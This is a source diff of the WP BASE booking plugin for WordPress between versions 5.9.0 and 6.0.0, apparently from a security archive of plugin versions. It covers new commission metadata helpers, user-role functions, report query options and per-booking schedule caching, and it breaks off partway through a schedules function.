+function wpb_delete_commission_meta( $pid, $meta_key, $meta_value = '' ) {

+	return WpBMeta::delete_metadata( 'commission', $pid, $meta_key, $meta_value );

+}

+

+/**

+ * Remove all metadata of a commission record.

+ *

+ * @since 6.0.0

+ *

+ * @param int    $pid     commission ID.

+ * @return bool True on success, false on failure.

+ */

+function wpb_delete_commission_metadata( $pid ) {

+	return WpBMeta::delete_metadata_by_oid( 'commission', $pid );

+}

+

 /**

  * Get salt. If it does not exist, create it

  * @since 2.0

@@ -902,6 +987,15 @@
 }

 

 /**

+* Get a list of zero decimal currency

+* @sine 6.0.0

+* @return array

+*/

+function wpb_zero_decimal_currency(){

+	return array( 'BIF', 'CLP', 'DJF', 'GNF', 'JPY', 'KMF', 'KRW', 'MGA', 'PYG', 'RWF', 'UGX', 'VND', 'VUV', 'XAF', 'XOF', 'XPF' );

+}

+	

+/**

  * Converts 1 to 1st, 2 to 2nd, etc

  * https://stackoverflow.com/a/3110033

  * @return string

@@ -1054,16 +1148,6 @@
 }

 

 /**

- * Check if user is WP BASE admin

- * @param $user	object|integer	User object or ID

- * @since 5.1.0

- * @return bool

- */

-function wpb_is_admin_user( $user = null ) {

-	return user_can( $user ?: get_current_user_id(), WPB_ADMIN_CAP );

-}

-

-/**

  * Check if user has at least one of the required capability

  * @param $cap	array|string	Comma delimited string or array with required caps to check

  * @since 3.0

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.internal.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.internal.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.internal.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.internal.php	2026-03-10 03:42:22.000000000 +0000
@@ -858,12 +858,12 @@
         'Z' => '',       // time zone offset in minutes => moment().zone();

         'z' => 'DDD',

 	);

-	

+

     // Converts escaped characters.

     foreach ($replacements as $from => $to) {

         $replacements['\\' . $from] = '[' . $from . ']';

-    }	

-	

+    }

+

 	if ( 'safe' === $par ) {

 		$momentFormat = strtr( BASE()->safe_date_format(), $replacements );

 	} else if ( $par ) {

@@ -1449,7 +1449,7 @@
  */

 function wpb_description_page_selection( $ptypes, $page_id ) {

 	$ptypes = is_array( $ptypes ) ? $ptypes : array_map( 'trim', explode( ',', $ptypes ) );

-	

+

 	$html = '<option value="0">'. __('None','wp-base') .'</option>';

 

 	foreach( (array)$ptypes as $ptype ) {

@@ -1458,20 +1458,20 @@
 		} else {

 			$pages = get_posts( array('post_type' => $ptype, 'post_status' => 'publish,private', 'numberposts' => -1, 'orderby' => 'title', 'order' => 'ASC') );

 		}

-		

+

 		$post_obj	= get_post_type_object( $ptype );

-		$label		= ! empty( $post_obj->labels->name ) ? $post_obj->labels->name : __( 'Custom Posts', 'wp-base' );		

-		

+		$label		= ! empty( $post_obj->labels->name ) ? $post_obj->labels->name : __( 'Custom Posts', 'wp-base' );

+

 		$html .= '<optgroup label="'. $label .'">';

-		

+

 		foreach( (array)$pages as $page ) {

 			$s = $page_id == $page->ID ? ' selected="selected"' : '';

-			$html .= '<option value="'.$page->ID.'"'.$s.'>'. esc_html( $page->post_title ) . '</option>';

+			$html .= '<option value="'.$page->ID.'"'.$s.'>'. esc_html( $page->post_title ) .' (#'. esc_html( $page->ID ) .')</option>';

 		}

-		

+

 		$html .= '</optgroup>';

 	}

-	

+

 	return $html;

 }

 

@@ -2195,7 +2195,7 @@
  * @author  maliayas

  */

 function wpb_adjustBrightness($hexCode, $adjustPercent) {

-    $hexCode = ltrim($hexCode, '#');

+    $hexCode = ltrim( ($hexCode ?: ''), '#');

 

     if (strlen($hexCode) == 3) {

         $hexCode = $hexCode[0] . $hexCode[0] . $hexCode[1] . $hexCode[1] . $hexCode[2] . $hexCode[2];

@@ -2362,7 +2362,7 @@
 	if ( user_can( $user_id, WPB_ADMIN_CAP ) || user_can( $user_id, 'manage_transactions' ) ) {

 		return true;

 	}

-	

+

 	if ( wpb_is_manager( $user_id ) && wpb_is_manage_store() ) {

 		return true;

 	}

@@ -2488,7 +2488,7 @@
 	if ( ! $is_admin && ! $is_worker && ! $is_manager ) {

 		return false;

 	}

-	

+

 	if ( $is_manager && wpb_is_manage_store() ) {

 		return true;

 	}

@@ -2842,28 +2842,63 @@
  */

 function wpb_upgrade_510() {

 	update_user_meta( get_current_user_id(), 'app_service_check_needed', true );

-	

+

 	$options = wpb_setting();

 	$changed = false;

-	

+

 	if ( empty( $options['schedule_show_images'] ) ) {

 		$options['schedule_show_images'] = 'yes';

 		$changed = true;

 	}

-	

+

 	if ( empty( $options['ms_use_effect'] ) ) {

 		$options['ms_use_effect'] = 'no';

 		$changed = true;

 	}

-	

+

 	if ( $changed ) {

 		BASE()->update_options( $options );

 	}

-	

+

 	add_user_meta( get_current_user_id(), 'app_schedules_notice', true, true );

 }

 

 /**

+ * When upgrading to V6.0, set commission email template

+ * @since 6.0.0

+ * @return none

+ */

+function wpb_upgrade_600() {

+	if ( ! WPB_DEV ) {

+		return;

+	}

+	

+	include_once( WPBASE_PLUGIN_DIR . '/includes/constant-data.php' );

+	

+	$options = wpb_setting();

+	$changed = false;

+	

+	if ( empty( $options['send_commission_paid'] ) ) {

+		$options['send_commission_paid'] = 'yes';

+		$changed = true;	

+	}

+	

+	if ( empty( $options['commission_paid_subject'] ) ) {

+		$options['commission_paid_subject'] = __('Good news! You received a payment from SITE_NAME','wp-base');

+		$changed = true;	

+	}

+	

+	if ( empty( $options['commission_paid_message'] ) ) {

+		$options['commission_paid_message'] = WpBConstant::$_commission_paid_message;

+		$changed = true;	

+	}

+	

+	if ( $changed ) {

+		BASE()->update_options( $options );

+	}	

+}

+

+/**

  * Get login link of the website

  * @since 4.0.2

  * @return string

@@ -3024,9 +3059,9 @@
 	if ( ! wpb_is_multi_store() ) {

 		return false;

 	}

-	

+

 	$worker = new WpB_Worker( $user_id ?: get_current_user_id() );

-	

+

 	return $worker->get_store() ?: false;

 }

 

@@ -3076,6 +3111,61 @@
 }

 

 /**

+ * Check if user is WP BASE admin

+ * @param $user	object|integer	User object or ID

+ * @since 5.1.0

+ * @return bool

+ */

+function wpb_is_admin_user( $user = null ) {

+	return user_can( $user ?: get_current_user_id(), WPB_ADMIN_CAP );

+}

+

+/**

+ * Check if user is a service provider (worker)

+ * @param $ID		integer			WP user ID. If not provided, current user is checked

+ * @return bool

+ * @since 3.0

+ */

+function wpb_is_worker( $ID = 0 ) {

+	$uid = $ID ? $ID : ( function_exists( 'get_current_user_id' ) ? get_current_user_id() : 0 );

+	return BASE()->is_worker( $uid );

+}

+

+/**

+ * Whether a user is client ONLY

+ * @sine 5.9.1

+ * @return bool

+ */

+function wpb_is_client( $user_id = null ) {

+	$user_id = $user_id ?: get_current_user_id();

+

+	if ( ! wpb_is_admin_user( $user_id ) && ! wpb_is_manager( $user_id ) && ! wpb_is_worker( $user_id ) ) {

+		return true;

+	}

+

+	return false;

+}

+

+/**

+ * User highest role for basic configuration (without Marketplace roles)

+ * @sine 6.0

+ * @return string

+ */

+function wpb_user_role( $user_id = null ) {

+	$user_id = $user_id ?: get_current_user_id();

+	

+	if ( wpb_is_admin_user( $user_id ) ) {

+		$role = 'admin';

+	} else if ( wpb_is_worker( $user_id ) ) {

+		$role = 'worker';

+	} else {

+		$role = 'client';

+	}

+

+	return $role;

+}

+

+/**

  * Bring list of location IDs to be used account, store and admin pages

  * @since 5.6.0

  * @return array

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes: functions.listing.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.performance.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.performance.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.performance.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.performance.php	2026-03-10 03:42:22.000000000 +0000
@@ -47,18 +47,18 @@
  */

 function wpb_get_paid_by_app_ids( $ids ) {

 	$ids = is_array( $ids ) ? $ids : array_map( 'trim', explode( ',', $ids ) );

-	

+

 	if ( empty( $ids ) ) {

 		return array();

 	}

-	

+

 	$cache_id = wpb_cache_prefix() . 'paid_by_app_ids_'. md5( serialize( $ids ) );

 	$trs = wp_cache_get( $cache_id );

 

 	if ( false === $trs ) {

 		$tr_table	= BASE()->transaction_table;

 		$app_table	= BASE()->app_table;

-		

+

 		$ids = array_map( 'esc_sql', $ids );

 		$id_list = implode( ',', $ids );

 

@@ -69,7 +69,7 @@
 			 " GROUP BY app.ID";

 

 		$result = BASE()->db->get_results( $q, OBJECT_K );

-		

+

 		$trs = wp_list_pluck( $result, 'total_paid', 'app_id' );

 

 		wp_cache_set( $cache_id, $trs );

@@ -133,8 +133,8 @@
 	# First check if a cache is available

 	$trs = wp_cache_get( wpb_cache_prefix() . 'all_transactions' );

 

-	if ( isset( $trs[$app_id] ) && isset( $trs[$app_id]->total_paid ) ) {

-		return $trs[$app_id]->total_paid;

+	if ( isset( $trs[ $app_id ] ) && isset( $trs[ $app_id ]->total_paid ) ) {

+		return $trs[ $app_id ]->total_paid;

 	}

 

 	// If we are interested in just one payment. e.g. to use in email, it is resource saver if we call it from DB

@@ -160,15 +160,15 @@
 	// We are prefering the first method, because it caches user's all transactions

 	if ( ! empty( $app->user ) ) {

 		$trs = wpb_get_transactions_by_user( $app->user );

-		if ( isset( $trs[$app_id] ) && isset( $trs[$app_id]->total_paid ) ) {

-			return $trs[$app_id]->total_paid;

+		if ( isset( $trs[ $app_id ] ) && isset( $trs[ $app_id ]->total_paid ) ) {

+			return $trs[ $app_id ]->total_paid;

 		} else {

 			return 0;

 		}

 	} else {

 		$trs = wpb_get_all_transactions( );

-		if ( isset( $trs[$app_id]->total_paid ) ) {

-			return $trs[$app_id]->total_paid;

+		if ( isset( $trs[ $app_id ]->total_paid ) ) {

+			return $trs[ $app_id ]->total_paid;

 		} else {

 			return 0;

 		}

@@ -224,12 +224,13 @@
 	$args = wp_parse_args( $args, $defaults );

 

 	// Create a uniqe ID in manual payments, if not given by user

-	if ( 'manual-payments' == $args['gateway'] && !$args['paypal_ID'] ) {

+	if ( 'manual-payments' == $args['gateway'] && ! $args['paypal_ID'] ) {

 		$args['paypal_ID'] = uniqid('auto_');

 	}

 

 	$table 	= BASE()->transaction_table;

 	$result	= $new_record = false;

+

 	$data 	= array();

 	$data['transaction_app_ID']			= $args['app_id'];

 	$data['transaction_total_amount']	= ( $args['amount'] ?: 0 ) * 100;

@@ -387,6 +388,7 @@
  *		day_by_day	bool			Whether x-axis will be daily or longer (15 days or monthly)

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.5.0

  * @return array

  */

@@ -409,8 +411,19 @@
  * Helper to retrieve revenue and sales data

  * @param	$context	string	Either sales or revenue or seats

  * @param	$stats		array	Optionally select different stats

- * @param 	$args		array	(All optional):

- * 		See wpb_get_sales

+ * @param $args	array	(All parameters optional):

+ *		range		string			today, yesterday, tomorrow, this_week, last_week, next_week, last_30_days, this_month, last_month, next_month, last_year, this_year

+ * 		start 		integer/string	Start of the report as timestamp or date time in any standard format, preferably Y-m-d H:i:s

+ * 		end			integer/string	End of the report as timestamp or date time. If left empty, end time is calculated from duration of service

+ * 		location	integer			ID of location. If left empty, all locations

+ * 		service		integer			ID of service. If left empty, all services

+ * 		worker		integer			ID of service provider. If left empty, all providers

+ *		user		integer			ID of the client. If left empty, all clients

+ *		day_by_day	bool			Whether x-axis will be daily or longer (15 days or monthly)

+ *		by_created	bool			If true give the results by creation time. If false, give the results for start time

+ *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT for certain context

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.5.0

  * @return array

  */

@@ -429,6 +442,8 @@
 		'by_created'	=> false,

 		'stats'			=> $stats,

 		'exclude'		=> false,

+		'limit'			=> 10,

+		'output'		=> ARRAY_A,

 	);

 

 	$args 			= _wpb_setup_report_args( wp_parse_args( $args, $defaults ) );

@@ -443,7 +458,7 @@
 	}

 

 	if ( false === $data ) {

-	

+

 		$stores = wpb_managed_stores();

 

 		$by = ! empty( $args['by_created'] ) ? 'created' : 'start';

@@ -472,7 +487,7 @@
 		$com_stasuses = "'" . implode( "', '", $com_stasuses ) . "'";

 

 		if ( is_array( $args['location'] ) ) {

-			$locs = wpb_is_manage_store() ? array_intersect( $args['location'], $stores ) : $args['location']; 

+			$locs = wpb_is_manage_store() ? array_intersect( $args['location'], $stores ) : $args['location'];

 			$location	= $args['location'] ? "location IN (". implode( ',', array_map( 'esc_sql', $locs ) ) .")" : "1=1";

 		} else {

 			if ( wpb_is_manage_store() ) {

@@ -481,11 +496,11 @@
 				$location	= $args['location'] ? $wpdb->prepare( "location=%d", $args['location'] ) : "1=1";

 			}

 		}

-		

+

 		$service	= $args['service'] ? $wpdb->prepare( "service=%d", $args['service'] ) : "1=1";

-		

+

 		if ( wpb_is_manage_store() ) {

-			$pop_worker = $worker = $stores 

+			$pop_worker = $worker = $stores

 					? "worker IN ( SELECT user_id FROM {$wpdb->usermeta} AS usermeta WHERE meta_key='app_store' AND meta_value IN(".implode(',', $stores).") ) "

 					: " 1=2";

 		} else {

@@ -495,15 +510,15 @@
 					    $wpdb->prefix ."base_meta WHERE meta_type='service' AND meta_key='owner' AND meta_value=%d)) )", $args['worker'], $args['worker'] )

 					 : "1=1";

 		}

-		

+

 		$com_worker	= $args['worker'] || '0' === (string)$args['worker'] ? $wpdb->prepare( "coms.worker=%d", $args['worker'] ) : "1=1";

-		$user		= $args['user'] ? $wpdb->prepare( "user=%d", $args['user'] ) : "1=1";

+		$user		= $args['user'] || '0' === (string)$args['user']  ? $wpdb->prepare( "user=%d", $args['user'] ) : "1=1";

 

 		$exclude	= $args['exclude']

 					  ? (is_array( $args['exclude'] ) ? implode( ',', array_map( 'absint', $args['exclude'] ) ) : absint( $args['exclude'] ))

 					  : 0;

 

-		$limit		= apply_filters( 'app_report_limit', 10, $context, $args );

+		$limit		= apply_filters( 'app_report_limit', $args['limit'], $context, $args );

 

 		if ( 'revenue' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -516,9 +531,10 @@
 			 AND $location

 			 AND $service

 			 AND $worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY $grouping

-			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'commissions' == $context ) {

 			$query = $wpdb->prepare(

@@ -531,8 +547,9 @@
 			 AND $location

 			 AND $service

 			 AND $com_worker

+			 AND $user

 			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) );

-			$data = $wpdb->get_results( $query, ARRAY_A );

+			$data = $wpdb->get_results( $query, $args['output'] );

 

 		} else if ( 'seats' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -544,9 +561,10 @@
 			 AND $location

 			 AND $service

 			 AND $worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY $grouping

-			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_services' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -557,10 +575,11 @@
 			 AND apps.status IN ($statuses)

 			 AND $location

 			 AND $worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY service

 			 ORDER by total_seats DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_services_by_revenue' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -572,10 +591,11 @@
 			 AND apps.status IN ($statuses)

 			 AND $location

 			 AND $worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY service

 			 ORDER by total DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_workers' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -586,10 +606,11 @@
 			 AND apps.status IN ($statuses)

 			 AND $location

 			 AND $pop_worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY worker

 			 ORDER by total_seats DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_workers_by_revenue' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -601,10 +622,11 @@
 			 AND apps.status IN ($statuses)

 			 AND $location

 			 AND $pop_worker

+			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY worker

 			 ORDER by total DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_clients' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -618,7 +640,7 @@
 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY user

 			 ORDER by total_seats DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else if ( 'popular_clients_by_revenue' == $context ) {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -633,7 +655,7 @@
 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY user

 			 ORDER by total DESC

-			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 LIMIT $limit", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 

 		} else {

 			$data = $wpdb->get_results( $wpdb->prepare(

@@ -648,7 +670,7 @@
 			 AND $user

 			 AND apps.ID NOT IN ($exclude)

 			 GROUP BY $grouping

-			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), ARRAY_A );

+			 ORDER by apps.{$by} ASC", date( 'Y-m-d H:i:s', $args['start'] ), date( 'Y-m-d H:i:s', $args['end'] ) ), $args['output'] );

 		}

 

 		if ( ! $non_cachable ) {

@@ -727,6 +749,7 @@
  * 		worker		integer			ID of service provider. If left empty, all providers

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.5.0

  * @return integer (hours)

  */

@@ -777,6 +800,7 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.5.0

  * @return integer

  */

@@ -797,6 +821,7 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.7.8

  * @return integer

  */

@@ -816,6 +841,8 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

@@ -836,6 +863,8 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT 

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

@@ -856,6 +885,8 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT 

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

@@ -877,6 +908,8 @@
  *		user		integer			ID of the client. If left empty, all clients

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT 

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

@@ -897,6 +930,8 @@
  * 		worker		integer			ID of service provider. If left empty, all providers

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT 

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

@@ -916,6 +951,8 @@
  * 		worker		integer			ID of service provider. If left empty, all providers

  *		by_created	bool			If true give the results by creation time. If false, give the results for start time

  *		exclude		string/array	Exclude booking ID(s)

+ *		limit		integer			mySQL LIMIT 

+ *		output		string			Output format, e.g. ARRAY_A, OBJECT_K. Defaults to ARRAY_A

  * @since 3.8.7

  * @return array of arrays

  */

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/schedules.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/schedules.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/schedules.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/schedules.php	2026-03-10 03:42:22.000000000 +0000
@@ -22,18 +22,12 @@
 

 	private $order_arr = array();

 

-	private $bg_colors = array();

-

-	private $text_colors = array();

-

-	private $parents = array();

-

 	private $schedules_page;

 

 	/**

      * WP BASE Core + Front [+Admin] instance

      */

-	protected $a = null;

+	protected $a;

 

 	/**

      * Constructor

@@ -48,50 +42,104 @@
 	public function add_hooks(){

 		add_action( 'app_menu_before_all', array( $this, 'add_menu' ), 19 );

 		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

+		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

 		add_action( 'in_admin_header', array( $this, 'remove_notices' ) );

 		add_action( 'wp_ajax_app_get_schedule_bookings', array( $this, 'get_bookings' ) );

 		add_action( 'wp_ajax_app_quick_book_upsert', array( $this, 'upsert' ) );

 		add_action( 'wp_ajax_app_quick_book_update', array( $this, 'update' ) );

 		add_action( 'wp_ajax_app_quick_book_save', array( $this, 'save' ) );

 		add_action( 'wp_ajax_app_save_navbar_schedule', array( $this, 'save_navbar' ) );

-		add_action( 'wp_ajax_app_panel_save_left', array( $this, 'save_left' ) );

 		add_action( 'wp_ajax_app_schedule_save_filters', array( $this, 'save_filters' ) );

 

-		# Delete cache

-		add_action( 'app_new_appointment', array( $this, 'delete_cache' ) );

-		add_action( 'app_status_changed', array( $this, 'delete_cache' ) );

-		add_action( 'app_bulk_status_change', array( $this, 'delete_cache' ) );

-		add_filter( 'app_inline_edit_save_result_final', array( $this, 'inline_edit_save_result_final' ), 100, 4 );

-		add_filter( 'app_edit_maybe_updated', array( $this, 'delete_cache' ) );

-		add_action( 'app_delete_pre', array( $this, 'delete_cache' ) );

-		add_action( 'app_booking_updated', array( $this, 'delete_cache' ) );

+		# Delete cache + Set new one

+		add_filter( 'app_inline_edit_save_result_final', array( $this, 'inline_edit_result_booking' ), 100, 4 );

+		

+		# Delete all cache for changed services

+		add_filter( 'app_service_inline_edit_save_result_final', array( $this, 'inline_edit_result_service' ), 100, 4 );

+

+		# Set single cache

+		add_action( 'app_new_appointment', array( __CLASS__, 'set_event_cache' ), 1000, 1 );

+		add_action( 'app_change_status', array( __CLASS__, 'set_event_cache' ), 1000, 1 );

+		add_action( 'app_inline_edit_updated', array( __CLASS__, 'set_event_cache' ), 1000, 1 );

+		add_action( 'app_inline_edit_new_booking', array( __CLASS__, 'set_event_cache' ), 1000, 1 );

+

+		# Delete caches of permanently deleted apps

+		add_action( 'app_deleted', array( __CLASS__, 'delete_event_cache' ), 10, 2 );

 	}

 

 	/**

-	 * Update when booking maybe changed/edit/created

+	 * Delete cache when booking maybe changed/edit/created

 	 * @since 5.1.1

 	 */

-	public function inline_edit_save_result_final( $result, $booking, $old_booking, $obj ) {

-		if ( $obj->booking_changed || $obj->booking_updated || $obj->booking_inserted || $booking != $old_booking ) {

-			$this->delete_cache();

+	public function inline_edit_result_booking( $result, $booking, $old_booking, $obj ) {

+		if ( ! empty( $obj->booking_changed ) || ! empty( $obj->booking_updated ) || ! empty( $obj->booking_inserted ) || $booking != $old_booking ) {

+			self::delete_cache( $booking );

 		}

 

 		return $result;

 	}

 

 	/**

-	 * Delete cache

+	 * Delete cache when service color changed

+	 * @since 6.0

+	 */

+	public function inline_edit_result_service( $result, $service, $old_service, $obj ) {

+	if ( (isset( $_POST['bg_color'] ) && $_POST['bg_color'] != $old_service->bg_color()) || $service->get_name() != $old_service->get_name() ) {

+			delete_transient( 'wpbase_schedule_data' );

+			

+			wpb_schedules_delete_transients_by_service( $service->get_ID() );

+		}

+

+		return $result;

+	}

+

+	/**

+	 * Delete overall schedule cache

 	 * @since 5.1.1

 	 */

-	public function delete_cache() {

+	public static function delete_cache( $app_booking = null ) {

 		delete_transient( 'wpbase_schedule_data' );

+

+		if ( null !== $app_booking ) {

+			self::set_event_cache( $app_booking );

+		}

+	}

+

+	/**

+	 * Build cache for a single booking

+	 * @since 6.0

+	 */

+	public static function set_event_cache( $app_booking ) {

+		$booking = $app_booking instanceof WpB_Booking ? $app_booking : new WpB_Booking( $app_booking );

+

+		$builder = new WpB_Event_Builder();

+		

+		$expires = WEEK_IN_SECONDS + rand(0, 72) * HOUR_IN_SECONDS;

+		

+		set_transient( 'wpbase_schedule_admin_'. $booking->get_ID(), $builder->build( $booking, 'admin' ), $expires );

+		set_transient( 'wpbase_schedule_worker_'. $booking->get_ID(), $builder->build( $booking, 'worker' ), $expires );

+		set_transient( 'wpbase_schedule_client_'. $booking->get_ID(), $builder->build( $booking, 'client' ), $expires );

+	}

+

+	/**

+	 * Delete cache for booking(s)

+	 * @param	$context	string		Irrelevant

+	 * @param	$ids		array		List of booking ids

+	 * @since 6.0

+	 */

+	public static function delete_event_cache( $context, $ids ) {

+		foreach ( (array)$ids as $id ) {

+			delete_transient( 'wpbase_schedule_admin_'. $id );

+			delete_transient( 'wpbase_schedule_worker_'. $id );

+			delete_transient( 'wpbase_schedule_client_'. $id );

+		}

 	}

 

 	/**

      * Load assets

      */

 	public function enqueue_scripts() {

-		if ( wpb_is_admin_page() ) {

+		if ( wpb_is_account_page() || wpb_is_admin_page() || wpb_is_manage_store() ) {

 			wp_enqueue_style( 'app-schedules' );

 		}

 	}

@@ -115,23 +163,46 @@
 	}

 

 	/**

-     * Stats that will be displayed as faded at EC

-	 * @return array

+     * Helper

+	 * @since 5.9.1

+	 * @return string

      */

-	public static function faded_stats() {

-		return apply_filters( 'app_schedule_faded_stats', array( 'completed', 'removed' ) );

+	private static function non_admin_stats_sql() {

+		$_stats = ! empty( $_POST['stats'] ) && 'null' !== $_POST['stats'] && 'undefined' !== $_POST['stats']

+			   ? array_map( 'esc_sql', explode( ',', $_POST['stats'] ) )

+			   : array_keys( BASE()->get_statuses() );

+		$stat_arr = array_intersect( $_stats, wpb_schedules_allowed_stats() );

